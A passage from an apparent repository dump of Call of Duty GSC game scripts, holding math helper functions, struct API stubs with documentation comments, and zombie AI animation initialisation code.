FACTORY_FUNC_2;break;\\\n\tcase \"zm_castle\":varname1 = CASTLE_FUNC;varname2 = CASTLE_FUNC_2;break;\\\n\tcase \"zm_island\":varname1 = ISLAND_FUNC;varname2 = ISLAND_FUNC_2;break;\\\n\tcase \"zm_stalingrad\":varname1 = STALINGRAD_FUNC;varname2 = STALINGRAD_FUNC_2;break;\\\n\tcase \"zm_genesis\":varname1 = GENESIS_FUNC;varname2 = GENESIS_FUNC_2;break;\\\n\tcase \"zm_prototype\":varname1 = PROTOTYPE_FUNC;varname2 = PROTOTYPE_FUNC_2;break;\\\n\tcase \"zm_asylum\":varname1 = ASYLUM_FUNC;varname2 = ASYLUM_FUNC_2;break;\\\n\tcase \"zm_sumpf\":varname1 = SUMPF_FUNC;varname2 = SUMPF_FUNC_2;break;\\\n\tcase \"zm_theater\":varname1 = THEATER_FUNC;varname2 = THEATER_FUNC_2;break;\\\n\tcase \"zm_cosmodrome\":varname1 = COSMODROME_FUNC;varname2 = COSMODROME_FUNC_2;break;\\\n\tcase \"zm_temple\":varname1 = TEMPLE_FUNC;varname2 = TEMPLE_FUNC_2;break;\\\n\tcase \"zm_moon\":varname1 = MOON_FUNC;varname2 = MOON_FUNC_2;break;\\\n\tcase \"zm_tomb\":varname1 = TOMB_FUNC;varname2 = TOMB_FUNC_2;break;\\\n\tdefault:return;}\n\n#define MAP_ASSIGN_FUNC_2_RETURN(varname1,varname2) MAP_ASSIGN_FUNC_2(varname1,varname2) if (!isdefined(varname1)) return;"
  },
  {
    "path": "samples/GSC/math_shared.gsc",
    "content": "#using scripts\\shared\\util_shared;\r\n\r\n#insert scripts\\shared\\shared.gsh;\r\n\r\n#namespace math;\r\n\r\nfunction cointoss()\r\n{\r\n\treturn RandomInt( 100 ) >= 50;\r\n}\r\n\r\n/@\r\n\"Name: clamp(val, val_min, val_max)\"\r\n\"Summary: Clamps a value between a min and max value.\"\r\n\"Module: Math\"\r\n\"MandatoryArg: val: the value to clamp.\"\r\n\"MandatoryArg: val_min: the min value to clamp to.\"\r\n\"MandatoryArg: val_max: the mac value to clamp to.\"\r\n\"Example: clamped_val = clamp(8, 0, 5); // returns 5\t*\tclamped_val = clamp(-1, 0, 5); // returns 0\"\r\n\"SPMP: both\"\r\n@/\r\nfunction clamp( val, val_min, val_max )\r\n{\r\n\tDEFAULT( val_max, val );\r\n\t\r\n\tif (val < val_min)\r\n\t{\r\n\t\tval = val_min;\r\n\t}\r\n\telse if (val > val_max)\r\n\t{\r\n\t\tval = val_max;\r\n\t}\r\n\r\n\treturn val;\r\n}\r\n\r\n/@\r\n\"Name: linear_map(val, min_a, max_a, min_b, max_b)\"\r\n\"Summary: Maps a value within one range to a value in another range.\"\r\n\"Module: Math\"\r\n\"MandatoryArg: val: the value to map.\"\r\n\"MandatoryArg: min_a: the min value of the range in which <val> exists.\"\r\n\"MandatoryArg: max_a: the max value of the range in which <val> exists.\"\r\n\"MandatoryArg: min_b: the min value of the range in which the return value should exist.\"\r\n\"MandatoryArg: max_b: the max value of the range in which the return value should exist.\"\r\n\"Example: fov = linear_map(speed, min_speed, max_speed, min_fov, max_fov);\"\r\n\"SPMP: both\"\r\n@/\r\nfunction linear_map(num, min_a, max_a, min_b, max_b)\r\n{\r\n\treturn clamp(( (num - min_a) / (max_a - min_a) * (max_b - min_b) + min_b ), min_b, max_b);\r\n}\r\n\r\n/@\r\n\"Name: lag(desired, curr, k, dt)\"\r\n\"Summary: Changes a value from current to desired using 1st order differential lag.\"\r\n\"Module: Math\"\r\n\"MandatoryArg: desired: desired value.\"\r\n\"MandatoryArg: curr: the current value.\"\r\n\"MandatoryArg: k: the strength of the lag ( lower = slower, higher = faster).\"\r\n\"MandatoryArg: dt: time step to lag over ( usually 1 server frame ).\"\r\n\"Example: speed = lag(max_speed, speed, 1, 0.05);\"\r\n\"SPMP: both\"\r\n@/\r\nfunction lag(desired, curr, k, dt)\r\n{\r\n    r = 0.0;\r\n\r\n    if (((k * dt) >= 1.0) || (k <= 0.0))\r\n    {\r\n        r = desired;\r\n    }\r\n    else\r\n    {\r\n        err = desired - curr;\r\n        r = curr + k * err * dt;\r\n    }\r\n\r\n    return r;\r\n}\r\n\r\nfunction find_box_center( mins, maxs )\r\n{\r\n\tcenter = ( 0, 0, 0 );\r\n\tcenter = maxs - mins;\r\n\tcenter = ( center[0]/2, center[1]/2, center[2]/2 ) + mins;\r\n\treturn center;\r\n}\r\n\r\nfunction expand_mins( mins, point )\r\n{\r\n\tif ( mins[0] > point[0] )\r\n\t{\r\n\t\tmins = ( point[0], mins[1], mins[2] );\r\n\t}\r\n\r\n\tif ( mins[1] > point[1] )\r\n\t{\r\n\t\tmins = ( mins[0], point[1], mins[2] );\r\n\t}\r\n\r\n\tif ( mins[2] > point[2] )\r\n\t{\r\n\t\tmins = ( mins[0], mins[1], point[2] );\r\n\t}\r\n\r\n\treturn mins;\r\n}\r\n\r\nfunction expand_maxs( maxs, point )\r\n{\r\n\tif ( maxs[0] < point[0] )\r\n\t{\r\n\t\tmaxs = ( point[0], maxs[1], maxs[2] );\r\n\t}\r\n\r\n\tif ( maxs[1] < point[1] )\r\n\t{\r\n\t\tmaxs = ( maxs[0], point[1], maxs[2] );\r\n\t}\r\n\r\n\tif ( maxs[2] < point[2] )\r\n\t{\r\n\t\tmaxs = ( maxs[0], maxs[1], point[2] );\r\n\t}\r\n\r\n\treturn maxs;\r\n}\r\n\r\n// ----------------------------------------------------------------------------------------------------\r\n// -- Vectors -----------------------------------------------------------------------------------------\r\n// ----------------------------------------------------------------------------------------------------\r\n\r\n/@\r\n\"Name: vector_compare( <vec1>, <vec2> )\"\r\n\"Summary: For 3D vectors.  Returns true if the vectors are the same\"\r\n\"MandatoryArg: <vec1> : A 3D vector (origin)\"\r\n\"MandatoryArg: <vec2> : A 3D vector (origin)\"\r\n\"Example: if (vector_compare(self.origin, node.origin){print(\\\"yay, i'm on the node!\\\");}\"\r\n\"SPMP: both\"\r\n@/\r\nfunction vector_compare(vec1, vec2)\r\n{\r\n\treturn (abs(vec1[0] - vec2[0]) < .001) && (abs(vec1[1] - vec2[1]) < .001) && (abs(vec1[2] - vec2[2]) < .001);\r\n}\r\n\r\nfunction random_vector(max_length)\r\n{\r\n\treturn (RandomFloatRange(-1 * max_length, max_length), RandomFloatRange(-1 * max_length, max_length), RandomFloatRange(-1 * max_length, max_length));\r\n}\r\n\r\nfunction angle_dif(oldangle, newangle)\r\n{\r\n\toutvalue = ( oldangle - newangle ) % 360;\r\n\t\r\n\tif ( outvalue < 0 )\r\n\t{\r\n\t\toutvalue+=360;\r\n\t}\r\n\t\r\n\tif ( outvalue > 180 )\r\n\t{\r\n\t\toutvalue=(outvalue-360)*-1;\r\n\t}\r\n\t\r\n\treturn outvalue;\t\t\r\n}\r\n\r\nfunction sign( x )\r\n{\r\n\treturn ( x >= 0 ? 1 : -1 );\r\n}\r\n\r\nfunction randomSign()\r\n{\r\n\treturn ( RandomIntRange( -1, 1 ) >= 0 ? 1 : -1 );\r\n}\r\n\r\n/@\r\n\"Name: get_dot_direction( <v_point>, [b_ignore_z], [b_normalize], [str_direction], [ b_use_eye] )\"\r\n\"Summary: Calculates and returns dot between an entity's directional vector and a point.\"\r\n\"Module: Math\"\r\n\"CallOn: Entity. Must have origin and angles parameters.\"\r\n\"MandatoryArg: <v_point> vector position to check against entity origin and angles\"\r\n\"OptionalArg: <b_ignore_z> specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot.\"\r\n\"OptionalArg: <str_direction> specify which vector type to use on angles. Valid options are \"forward\", \"backward\", \"right\", \"left\", \"up\" and \"down\". Defaults to \"forward\".\"\r\n\"OptionalArg: <b_normalize> specify if the function should normalize the vector to target point. Defaults to true.\"\r\n\"OptionalArg: <b_use_eye> if self a player or AI, use tag_eye rather than .angles. Defaults to true on players, defaults to false on everything else.\r\n\"Example: n_dot = player get_dot_direction( woods.origin );\"\r\n\"SPMP: singleplayer\"\r\n@/\r\nfunction get_dot_direction( v_point, b_ignore_z, b_normalize, str_direction, b_use_eye )\r\n{\r\n\tassert( isdefined( v_point ), \"v_point is a required parameter for get_dot\" );\r\n\t\r\n\tif ( !isdefined( b_ignore_z ) )\r\n\t{\r\n\t\tb_ignore_z = false;\r\n\t}\r\n\t\r\n\tif ( !isdefined( b_normalize ) )\r\n\t{\r\n\t\tb_normalize = true;\r\n\t}\r\n\t\r\n\tif ( !isdefined( str_direction ) )\r\n\t{\r\n\t\tstr_direction = \"forward\";\r\n\t}\r\n\t\r\n\tif ( !isdefined( b_use_eye ) )\r\n\t{\r\n\t\tb_use_eye = false;\r\n\t\t\r\n\t\tif ( IsPlayer( self ) )\r\n\t\t{\r\n\t\t\tb_use_eye = true;\r\n\t\t}\r\n\t}\r\n\t\r\n\tv_angles = self.angles;\r\n\tv_origin = self.origin;\r\n\t\r\n\tif ( b_use_eye )\r\n\t{\r\n\t\tv_origin = self util::get_eye();\r\n\t}\r\n\t\r\n\tif ( IsPlayer( self ) )\r\n\t{\r\n\t\tv_angles = self GetPlayerAngles();\r\n\t\tif ( level.wiiu )\r\n\t\t{\r\n\t\t\tv_angles = self GetGunAngles();\r\n\t\t}\r\n\t}\r\n\t\r\n\tif ( b_ignore_z )\r\n\t{\r\n\t\tv_angles = ( v_angles[ 0 ], v_angles[ 1 ], 0 );\r\n\t\tv_point = ( v_point[ 0 ], v_point[ 1 ], 0 );\r\n\t\tv_origin = ( v_origin[ 0 ], v_origin[ 1 ], 0 );\r\n\t}\r\n\t\r\n\tswitch ( str_direction )\r\n\t{\r\n\t\tcase \"forward\":\r\n\t\t\tv_direction = AnglesToForward( v_angles );\r\n\t\t\tbreak;\r\n\t\t\r\n\t\tcase \"backward\":\r\n\t\t\tv_direction = AnglesToForward( v_angles ) * ( -1 );\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\tcase \"right\":\r\n\t\t\tv_direction = AnglesToRight( v_angles );\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\tcase \"left\":\r\n\t\t\tv_direction = AnglesToRight( v_angles ) * ( -1 );\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\tcase \"up\":\r\n\t\t\tv_direction = AnglesToUp( v_angles );\r\n\t\t\tbreak;\r\n\t\t\r\n\t\tcase \"down\":\r\n\t\t\tv_direction = AnglesToUp( v_angles ) * ( -1 );\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\tdefault:\r\n\t\t\tAssertMsg( str_direction + \" is not a valid str_direction for get_dot!\" );\r\n\t\t\tv_direction = AnglesToForward( v_angles );   // have to initialize variable for default case\r\n\t\t\tbreak;\r\n\t}\r\n\t\r\n\tv_to_point = v_point - v_origin;\r\n\t\r\n\tif ( b_normalize )\r\n\t{\r\n\t\tv_to_point = VectorNormalize( v_to_point );\r\n\t}\r\n\t\r\n\tn_dot = VectorDot( v_direction, v_to_point );\r\n\t\r\n\treturn n_dot;\r\n}\r\n\r\n/@\r\n\"Name: get_dot_right( <v_point>, [b_ignore_z], [b_normalize] )\"\r\n\"Summary: Calculates and returns dot between an entity's right vector and a point.\"\r\n\"Module: Math\"\r\n\"CallOn: Entity. Must have origin and angles parameters.\"\r\n\"MandatoryArg: <v_point> vector position to check against entity origin and angles\"\r\n\"OptionalArg: <b_ignore_z> specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot.\"\r\n\"OptionalArg: <b_normalize> specify if the function should normalize the vector to target point. Defaults to true.\"\r\n\"Example: n_dot = player get_dot_direction( woods.origin );\"\r\n\"SPMP: singleplayer\"\r\n@/\r\nfunction get_dot_right( v_point, b_ignore_z, b_normalize )\r\n{\r\n\t// get_dot will assert if missing, but scripter should know it's coming from get_dot_right\r\n\tassert( isdefined( v_point ), \"v_point is a required parameter for get_dot_right\" );\r\n\t\r\n\tn_dot = get_dot_direction( v_point, b_ignore_z, b_normalize, \"right\" );\r\n\t\r\n\treturn n_dot;\r\n}\r\n\r\n/@\r\n\"Name: get_dot_up( <v_point>, [b_ignore_z], [b_normalize] )\"\r\n\"Summary: Calculates and returns dot between an entity's up vector and a point.\"\r\n\"Module: Math\"\r\n\"CallOn: Entity. Must have origin and angles parameters.\"\r\n\"MandatoryArg: <v_point> vector position to check against entity origin and angles\"\r\n\"OptionalArg: <b_ignore_z> specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot.\"\r\n\"OptionalArg: <b_normalize> specify if the function should normalize the vector to target point. Defaults to true.\"\r\n\"Example: n_dot = player get_dot_direction( woods.origin );\"\r\n\"SPMP: singleplayer\"\r\n@/\r\nfunction get_dot_up( v_point, b_ignore_z, b_normalize )\r\n{\r\n\t// get_dot will assert if missing, but scripter should know it's coming from get_dot_up\r\n\tassert( isdefined( v_point ), \"v_point is a required parameter for get_dot_up\" );\r\n\t\r\n\tn_dot = get_dot_direction( v_point, b_ignore_z, b_normalize, \"up\" );\r\n\t\r\n\treturn n_dot;\r\n}\r\n\r\n/@\r\n\"Name: get_dot_forward( <v_point>, [b_ignore_z], [b_normalize] )\"\r\n\"Summary: Calculates and returns dot between an entity's forward vector and a point.\"\r\n\"Module: Math\"\r\n\"CallOn: Entity. Must have origin and angles parameters.\"\r\n\"MandatoryArg: <v_point> vector position to check against entity origin and angles\"\r\n\"OptionalArg: <b_ignore_z> specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot.\"\r\n\"OptionalArg: <b_normalize> specify if the function should normalize the vector to target point. Defaults to true.\"\r\n\"Example: n_dot = player get_dot_direction( woods.origin );\"\r\n\"SPMP: singleplayer\"\r\n@/\r\nfunction get_dot_forward( v_point, b_ignore_z, b_normalize )\r\n{\r\n\t// get_dot will assert if missing, but scripter should know it's coming from get_dot_forward\r\n\tassert( isdefined( v_point ), \"v_point is a required parameter for get_dot_forward\" );\r\n\t\r\n\tn_dot = get_dot_direction( v_point, b_ignore_z, b_normalize, \"forward\" );\r\n\t\r\n\treturn n_dot;\r\n}\r\n\r\n/@\r\n\"Name: get_dot_from_eye( <v_point>, [b_ignore_z], [b_normalize], [str_direction] )\"\r\n\"Summary: Calculates and returns dot between an entity's forward vector and a point based on tag_eye. Only use on players or AI\"\r\n\"Module: Math\"\r\n\"CallOn: Entity. Must have origin and angles parameters.\"\r\n\"MandatoryArg: <v_point> vector position to check against entity origin and angles\"\r\n\"OptionalArg: [b_ignore_z] specify if get_dot should consider 2d or 3d dot. Defaults to false for 3d dot.\"\r\n\"OptionalArg: [b_normalize] specify if the function should normalize the vector to target point. Defaults to true.\"\r\n\"OptionalArg: [str_direction] specify which vector type to use on angles. Valid options are \"forward\", \"backward\", \"right\", \"left\", \"up\" and \"down\". Defaults to \"forward\".\"\r\n\"Example: n_dot = player get_dot_from_eye( woods.origin );\"\r\n\"SPMP: singleplayer\"\r\n@/\r\nfunction get_dot_from_eye( v_point, b_ignore_z, b_normalize, str_direction )\r\n{\r\n\tassert( isdefined( v_point ), \"v_point is a required parameter for get_dot_forward\" );\r\n\tAssert( ( IsPlayer( self ) || IsAI( self ) ), \"get_dot_from_eye was used on a \" + self.classname + \". Valid ents are players and AI, since they have tag_eye.\" );\r\n\t\r\n\tn_dot = get_dot_direction( v_point, b_ignore_z, b_normalize, str_direction, true );\r\n\t\r\n\treturn n_dot;\r\n}\r\n\r\n// ----------------------------------------------------------------------------------------------------\r\n// -- Arrays ------------------------------------------------------------------------------------------\r\n// ----------------------------------------------------------------------------------------------------\r\n\r\n/@\r\n\"Name: array_average( <array> )\"\r\n\"Summary: Given an array of numbers, returns the average (mean) value of the array\"\r\n\"Module: Utility\"\r\n\"MandatoryArg: <array>: the array of numbers which will be averaged\"\r\n\"Example: array_average( numbers );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction array_average( array )\r\n{\r\n\tassert( IsArray( array ) );\r\n\tassert( array.size > 0 );\r\n\r\n\ttotal = 0;\r\n\r\n\tfor ( i = 0; i < array.size; i++ )\r\n\t{\r\n\t\ttotal += array[i];\r\n\t}\r\n\r\n\treturn ( total / array.size );\r\n}\r\n\r\n/@\r\n\"Name: array_std_deviation( <array>, <mean> )\"\r\n\"Summary: Given an array of numbers and the average of the array, returns the standard deviation value of the array\"\r\n\"Module: Utility\"\r\n\"MandatoryArg: <array>: the array of numbers\"\r\n\"MandatoryArg: <mean>: the average (mean) value of the array\"\r\n\"Example: array_std_deviation( numbers, avg );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction array_std_deviation( array, mean )\r\n{\r\n\tassert( IsArray( array ) );\r\n\tassert( array.size > 0 );\r\n\r\n\ttmp = [];\r\n\tfor ( i = 0; i < array.size; i++ )\r\n\t{\r\n\t\ttmp[i] = ( array[i] - mean ) * ( array[i] - mean );\r\n\t}\r\n\r\n\ttotal = 0;\r\n\tfor ( i = 0; i < tmp.size; i++ )\r\n\t{\r\n\t\ttotal = total + tmp[i];\r\n\t}\r\n\r\n\treturn Sqrt( total / array.size );\r\n}\r\n\r\n/@\r\n\"Name: random_normal_distribution( <mean>, <std_deviation>, <lower_bound>, <upper_bound> )\"\r\n\"Summary: Given the mean and std deviation of a set of numbers, returns a random number from the normal distribution\"\r\n\"Module: Utility\"\r\n\"MandatoryArg: <mean>: the average (mean) value of the array\"\r\n\"MandatoryArg: <std_deviation>: the standard deviation value of the array\"\r\n\"OptionalArg: <lower_bound> the minimum value that will be returned\"\r\n\"OptionalArg: <upper_bound> the maximum value that will be returned\"\r\n\"Example: random_normal_distribution( avg, std_deviation );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction random_normal_distribution( mean, std_deviation, lower_bound, upper_bound )\r\n{\r\n\t//pixbeginevent( \"random_normal_distribution\" );\r\n\r\n\t// implements the Box-Muller transform for Gaussian random numbers (http://en.wikipedia.org/wiki/Box-Muller_transform)\r\n\tx1 = 0;\r\n\tx2 = 0;\r\n\tw = 1;\r\n\ty1 = 0;\r\n\r\n\twhile ( w >= 1 )\r\n\t{\r\n\t\tx1 = 2 * RandomFloatRange( 0, 1 ) - 1;\r\n\t\tx2 = 2 * RandomFloatRange( 0, 1 ) - 1;\r\n\t\tw = x1 * x1 + x2 * x2;\r\n\t}\r\n\r\n\tw = Sqrt( ( -2.0 * Log( w ) ) / w );\r\n\ty1 = x1 * w;\r\n\r\n\tnumber = mean + y1 * std_deviation;\r\n\r\n\tif ( isdefined( lower_bound ) && number < lower_bound )\r\n\t{\r\n\t\tnumber = lower_bound;\r\n\t}\r\n\r\n\tif ( isdefined( upper_bound ) && number > upper_bound )\r\n\t{\r\n\t\tnumber = upper_bound;\r\n\t}\r\n\r\n\t//pixendevent();\r\n\r\n\treturn( number );\r\n}\r\n\r\nfunction closest_point_on_line( point, lineStart, lineEnd )\r\n{\r\n\tlineMagSqrd = lengthsquared(lineEnd - lineStart);\r\n \r\n  t =\t( ( ( point[0] - lineStart[0] ) * ( lineEnd[0] - lineStart[0] ) ) +\r\n\t\t\t( ( point[1] - lineStart[1] ) * ( lineEnd[1] - lineStart[1] ) ) +\r\n\t\t\t( ( point[2] - lineStart[2] ) * ( lineEnd[2] - lineStart[2] ) ) ) /\r\n\t\t\t( lineMagSqrd );\r\n \r\n  if( t < 0.0  )\r\n\t{\r\n\t\treturn lineStart;\r\n\t}\r\n\telse if( t > 1.0 )\r\n\t{\r\n\t\treturn lineEnd;\r\n\t}\r\n\r\n\tstart_x = lineStart[0] + t * ( lineEnd[0] - lineStart[0] );\r\n\tstart_y = lineStart[1] + t * ( lineEnd[1] - lineStart[1] );\r\n\tstart_z = lineStart[2] + t * ( lineEnd[2] - lineStart[2] );\r\n\t\r\n\treturn (start_x,start_y,start_z);\r\n}\r\n\r\nfunction get_2d_yaw( start, end )\r\n{\r\n\tvector = (end[0] - start[0], end[1] - start[1], 0);\r\n\r\n\treturn vec_to_angles( vector );\r\n}\r\n\r\nfunction vec_to_angles( vector )\r\n{\r\n\tyaw = 0;\r\n\t\r\n\tvecX = vector[0];\r\n\tvecY = vector[1];\r\n\t\r\n\tif ( vecX == 0 && vecY == 0 )\r\n\t\treturn 0;\r\n\t\t\r\n\tif ( vecY < 0.001 && vecY > -0.001 )\r\n\t\tvecY = 0.001;\r\n\r\n\tyaw = atan( vecX / vecY );\r\n\t\r\n\tif ( vecY < 0 )\r\n\t\tyaw += 180;\r\n\r\n\treturn ( 90 - yaw );\r\n}\r\n\r\nfunction pow( base, exp )\r\n{\r\n\tif( exp == 0 )\r\n\t{\r\n\t\treturn 1;\r\n\t}\r\n\r\n\tresult = base;\r\n\tfor( i = 0; i < ( exp - 1 ); i++ )\r\n\t{\r\n\t\tresult  *= base;\r\n\t}\r\n\t\r\n\treturn result;\r\n}\r\n"
  },
  {
    "path": "samples/GSC/struct.gsc",
    "content": "\r\nfunction init() {}\r\nfunction delete() {}\r\n\r\n/@\r\n\"Name: get( <kvp_value> , [kvp_key] )\"\r\n\"Summary: Returns a struct with the specified kvp.\"\r\n\"MandatoryArg: <kvp_value> : kvp value\"\r\n\"OptionalArg: [kvp_key] : defaults to targetname\"\r\n\"Example: struct::get( \"some_value\", \"targetname\" );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction get( kvp_value, kvp_key = \"targetname\" ){}\r\n\r\n/@\r\n\"Name: spawn( [v_origin], [v_angles] )\"\r\n\"Summary: Returns a new struct.\"\r\n\"OptionalArg: [v_origin] : optional origin\"\r\n\"OptionalArg: [v_angles] : optional angles\"\r\n\"Example: s = struct::spawn( self GetTagOrigin( \"tag_origin\" ) );\"\r\n@/\r\nfunction spawn( v_origin = (0, 0, 0), v_angles = (0, 0, 0) ){}\r\n\r\n/@\r\n\"Name: get_array( <kvp_value> , [kvp_key] )\"\r\n\"Summary: Returns an array of structs with the specified kvp.\"\r\n\"MandatoryArg: <kvp_value> : kvp value\"\r\n\"OptionalArg: [kvp_key] : defaults to targetname\"\r\n\"Example: fxemitters = struct::get_array( \"streetlights\", \"targetname\" )\"\r\n\"SPMP: both\"\r\n@/\r\nfunction get_array( kvp_value, kvp_key = \"targetname\" ){}\r\n\r\n/@\r\n\"Name: get_script_bundle( <str_type>, <str_name> )\"\r\n\"Summary: Returns a struct with the specified script bundle definition. This is the GDT data for the bundle.\"\r\n\"MandatoryArg: <str_type> : The type of the script bundle\"\r\n\"MandatoryArg: <str_name> : The name of the script bundle\"\r\n\"Example: struct::get_script_bundle( \"scene\", \"my_scene\" );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction get_script_bundle( str_type, str_name ){}\r\n\r\n/@\r\n\"Name: delete_script_bundle( <str_type>, <str_name> )\"\r\n\"Summary: Deletes the specified script bundle definition. This is the GDT data for the bundle.\"\r\n\"MandatoryArg: <str_type> : The type of the script bundle\"\r\n\"MandatoryArg: <str_name> : The name of the script bundle\"\r\n\"Example: struct::delete_script_bundle( \"scene\", \"my_scene\" );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction delete_script_bundle( str_type, str_name ){}\r\n\r\n/@\r\n\"Name: get_script_bundles( <str_type> )\"\r\n\"Summary: Returns all of the script bundle definition structs for the specified type.\"\r\n\"MandatoryArg: <str_type> : The type of the script bundle\"\r\n\"Example: struct::get_script_bundles( \"scene\" );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction get_script_bundles( str_type ){}\r\n\r\n/@\r\n\"Name: get_script_bundle_list( <str_type>, <str_name> )\"\r\n\"Summary: Returns a string array with the items specified by the script bundle list.\"\r\n\"MandatoryArg: <str_type> : The type of the script bundle in the list\"\r\n\"MandatoryArg: <str_name> : The name of the script bundle list\"\r\n\"Example: struct::get_script_bundle_list( \"collectible\", \"completecollectibleslist\" );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction get_script_bundle_list( str_type, str_name ){}\r\n\r\n/@\r\n\"Name: get_script_bundle_instances( <str_type>, [str_name] )\"\r\n\"Summary: Returns an array of all the script bundle instances with the specified script bundle definition and name.\"\r\n\"MandatoryArg: <str_type> : The type of the script bundle\"\r\n\"MandatoryArg: [str_name] : The name of the script bundle\"\r\n\"Example: struct::get_script_bundle_instances( \"scene\", \"my_scene\" );\"\r\n\"SPMP: both\"\r\n@/\r\nfunction get_script_bundle_instances( str_type, str_name = \"\" ){}\r\n\r\n"
  },
  {
    "path": "samples/GSC/zm_init.gsc",
    "content": "// Notes about scripts\r\n//=====================\r\n//\r\n// Anim variables\r\n// -------------- \r\n// Anim variables keep track of what the character is doing with respect to his \r\n// animations.  They know if he's standing, crouching, kneeling, walking, running, etc, \r\n// so that he can play appropriate transitions to get to the animation he wants.\r\n// anim_movement - \"stop\", \"walk\", \"run\"\r\n// anim_pose - \"stand\", \"crouch\", some others for pain poses.\r\n// I'm putting functions to do the basic animations to change these variables in \r\n// zombie_SetPoseMovement.gsc, \r\n//\r\n// Error Reporting\r\n// ---------------\r\n// To report a script error condition (similar to assert(0)), I assign a non-existent variable to \r\n// the variable homemade_error  I use the name of the non-existent variable to try to explain the \r\n// error.  For example:\r\n// \t\thomemade_error = Unexpected_anim_pose_value + self.a.pose;\r\n// I also have a kind of assert, called as follows:\r\n//\t\t[[anim.assert(condition, message_string);\r\n// If condition evaluates to 0, the assert fires, prints message_string and stops the server. Since \r\n// I don't have stack traces of any kind, the message string needs to say from where the assert was \r\n// called.\r\n\r\n// #include maps\\mp\\animscripts\\zm_utility;\r\n// #include maps\\_utility;\r\n// #include animscripts\\Combat_utility;\r\n// #include common_scripts\\Utility;\r\n// \r\n\r\n#include common_scripts\\utility;\r\n#include maps\\mp\\animscripts\\shared;\r\n#include maps\\mp\\animscripts\\utility;\r\n#include maps\\mp\\animscripts\\zm_utility;\r\n\r\n\r\n\r\nmain()\r\n{\r\n\tself.a = SpawnStruct();\r\n\t\r\n\tself.team = level.zombie_team;\r\n\r\n\t\t\r\n\tfirstInit();\r\n\r\n\t// Set initial states for poses\r\n\tself.a.pose = \"stand\";\r\n\tself.a.movement = \"stop\";\r\n\tself.a.state = \"stop\";\r\n\tself.a.special = \"none\";\r\n\r\n\tself.a.combatEndTime = GetTime();\r\n\tself.a.script = \"init\";\r\n\tself.a.alertness = \"casual\"; // casual, alert, aiming\r\n\tself.a.lastEnemyTime = GetTime();\r\n\tself.a.forced_cover = \"none\";\r\n\tself.a.desired_script = \"none\";\r\n\tself.a.current_script = \"none\";\r\n\tself.a.lookangle = 0;\r\n\tself.a.painTime = 0;\r\n\tself.a.nextGrenadeTryTime = 0;\r\n\t\r\n\t// setup the speed variables\r\n\tself.walk\t\t\t= false;\r\n\tself.sprint\t\t\t= false;\r\n\t\r\n\t// WW (11/16/2010): Setting variable for run blend speed. This allows the black hole bomb to snap guys 180 with less pop.\r\n\tself.a.runBlendTime = 0.2;\r\n\t\r\n\t// MikeD (9/28/2007): Flame pain time... Tracks when the AI gets hit with flame.\r\n\tself.a.flamepainTime = 0;\r\n\t\r\n\tself.a.postScriptFunc = undefined;\r\n\tself.a.stance = \"stand\";\r\n\t\r\n\tself._animActive = 0;\r\n\t\r\n\tself thread deathNotify();\r\n\r\n\t// use the GDT settings to start with\r\n\tself.baseAccuracy = self.accuracy;\r\n\r\n\t// set default accuracy mod\r\n\tif( !IsDefined(self.script_accuracy) )\r\n\t{\r\n\t\tself.script_accuracy = 1;\r\n\t}\r\n\t\r\n\tself.a.missTime = 0;\r\n\t\r\n\tself.a.yawTransition = \"none\";\r\n\tself.a.nodeath = false;\r\n\tself.a.missTime = 0;\r\n\tself.a.missTimeDebounce = 0;\r\n\tself.a.disablePain = false;\r\n\r\n\tself.accuracyStationaryMod = 1;\r\n\tself.chatInitialized = false;\r\n\tself.sightPosTime = 0;\r\n\tself.sightPosLeft = true;\r\n\tself.preCombatRunEnabled = true;\r\n\tself.is_zombie = true;\r\n\r\n\tself.a.crouchpain = false; // for dying pain guys\r\n\tself.a.nextStandingHitDying = false;\r\n\r\n\t// Makes AI able to throw grenades at other AI.\r\n\tif (!IsDefined (self.script_forcegrenade))\r\n\t{\r\n\t\tself.script_forcegrenade = 0;\r\n\t}\r\n\r\n/#\r\n\tself.a.lastDebugPrint = \"\";\r\n#/\r\n\r\n\t// state tracking\r\n\tself.lastEnemySightTime = 0; // last time we saw our current enemy\r\n\tself.combatTime = 0; // how long we've been in/out of combat\r\n\t\r\n\t// Random range makes the grenades less accurate and do less damage, but also makes it difficult to throw back.\r\n// \tif ( self.team == \"allies\" )\r\n// \t{\r\n// \t\tself.randomGrenadeRange = 0;\r\n// \t}\r\n// \telse\r\n// \t{\r\n// \t\tself.randomGrenadeRange = 128;\r\n// \t}\r\n\r\n    self.coverIdleSelectTime = -696969;\r\n\r\n\tself.old = SpawnStruct();\r\n\t\r\n\tself.reacquire_state = 0;\r\n\r\n\tself.a.allow_shooting\t\t\t\t\t= false;\r\n}\r\n\r\nDoNothing()\r\n{\r\n}\r\n\r\nempty(one, two, three, whatever)\r\n{\r\n}\r\n\r\nclearEnemy()\r\n{\r\n\tself notify (\"stop waiting for enemy to die\");\r\n\tself endon (\"stop waiting for enemy to die\");\r\n\tself.sightEnemy waittill (\"death\");\r\n\tself.sightpos = undefined;\r\n\tself.sightTime = 0;\r\n\tself.sightEnemy = undefined;\r\n}\r\n\r\n// Cleans up scripts on death\r\ndeathNotify()\r\n{\r\n\tself waittill( \"death\", other );\r\n\tself notify( anim.scriptChange );\r\n}\r\n\r\nfirstInit()\r\n{\r\n\t// Initialization that should happen once per level\r\n\tif ( IsDefined (anim.NotFirstTime) ) // Use this to trigger the first init\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\t\r\n\tanim.NotFirstTime = true;\r\n\t\r\n\tanim.useFacialAnims = false; // remove me when facial anims are fixed\r\n\r\n\tif ( !IsDefined( anim.dog_health ) )\r\n\t{\r\n\t\tanim.dog_health = 1;\r\n\t}\r\n\t\t\r\n\tif ( !IsDefined( anim.dog_presstime ) 